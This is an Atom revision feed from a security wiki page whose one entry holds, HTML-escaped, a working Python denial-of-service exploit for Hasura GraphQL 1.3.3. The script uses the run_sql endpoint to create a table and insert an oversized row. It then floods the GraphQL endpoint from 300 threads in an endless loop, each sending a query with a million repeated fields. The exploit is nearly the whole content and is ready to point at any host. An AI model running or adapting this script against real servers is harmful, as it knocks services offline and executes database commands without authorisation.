<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hasura_GraphQL_1.3.3_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>Hasura GraphQL 1.3.3 拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hasura_GraphQL_1.3.3_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T20:09:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1856&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 #...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hasura_GraphQL_1.3.3_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1856&amp;oldid=prev"/>
		<updated>2021-04-22T02:04:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 #...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service&lt;br /&gt;
# Software: Hasura GraphQL&lt;br /&gt;
# Software Link: https://github.com/hasura/graphql-engine&lt;br /&gt;
# Version: 1.3.3&lt;br /&gt;
# Author: Dolev Farhi&lt;br /&gt;
# Date: 4/19/2021&lt;br /&gt;
# Tested on: Ubuntu&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import requests&lt;br /&gt;
import threading&lt;br /&gt;
&lt;br /&gt;
HASURA_SCHEME = 'http'&lt;br /&gt;
HASURA_HOST = '192.168.1.1'&lt;br /&gt;
HASURA_PORT = 80&lt;br /&gt;
THREADS = 300&lt;br /&gt;
&lt;br /&gt;
def create_table():&lt;br /&gt;
  data = {&amp;quot;type&amp;quot;:&amp;quot;bulk&amp;quot;,&amp;quot;args&amp;quot;:[{&amp;quot;type&amp;quot;:&amp;quot;run_sql&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;sql&amp;quot;:&amp;quot;CREATE TABLE \&amp;quot;public\&amp;quot;.\&amp;quot;test_db\&amp;quot;(\&amp;quot;test\&amp;quot; text NOT NULL, PRIMARY KEY (\&amp;quot;test\&amp;quot;) );&amp;quot;,&amp;quot;cascade&amp;quot;:False,&amp;quot;read_only&amp;quot;:False}},{&amp;quot;type&amp;quot;:&amp;quot;add_existing_table_or_view&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;name&amp;quot;:&amp;quot;test_db&amp;quot;,&amp;quot;schema&amp;quot;:&amp;quot;public&amp;quot;}}]}&lt;br /&gt;
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)&lt;br /&gt;
  r = requests.post(endpoint, json=data)&lt;br /&gt;
  return r&lt;br /&gt;
&lt;br /&gt;
def insert_row():&lt;br /&gt;
  bomb = 'A' * 100000&lt;br /&gt;
  data = {&amp;quot;type&amp;quot;:&amp;quot;insert&amp;quot;,&amp;quot;args&amp;quot;:{&amp;quot;table&amp;quot;:{&amp;quot;name&amp;quot;:&amp;quot;test_db&amp;quot;,&amp;quot;schema&amp;quot;:&amp;quot;public&amp;quot;},&amp;quot;objects&amp;quot;:[{&amp;quot;test&amp;quot;:bomb}],&amp;quot;returning&amp;quot;:[]}}&lt;br /&gt;
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)&lt;br /&gt;
  r = requests.post(endpoint, json=data)&lt;br /&gt;
  return r&lt;br /&gt;
&lt;br /&gt;
def DoS():&lt;br /&gt;
  dups = 'test \n ' * 1000000&lt;br /&gt;
  data =  {'query': 'query { test_db { ' + dups + '} }'}&lt;br /&gt;
  endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)&lt;br /&gt;
  r = requests.post(endpoint, json=data)&lt;br /&gt;
  return r&lt;br /&gt;
&lt;br /&gt;
if not create_table().ok:&lt;br /&gt;
  print('something went wrong, could not create table.')&lt;br /&gt;
  sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
if not insert_row().ok:&lt;br /&gt;
  print('something went wrong, could not insert row')&lt;br /&gt;
  sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
  for _ in range(THREADS):&lt;br /&gt;
    print('Starting')&lt;br /&gt;
    t = threading.Thread(target=DoS, args=())&lt;br /&gt;
    t.start()&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>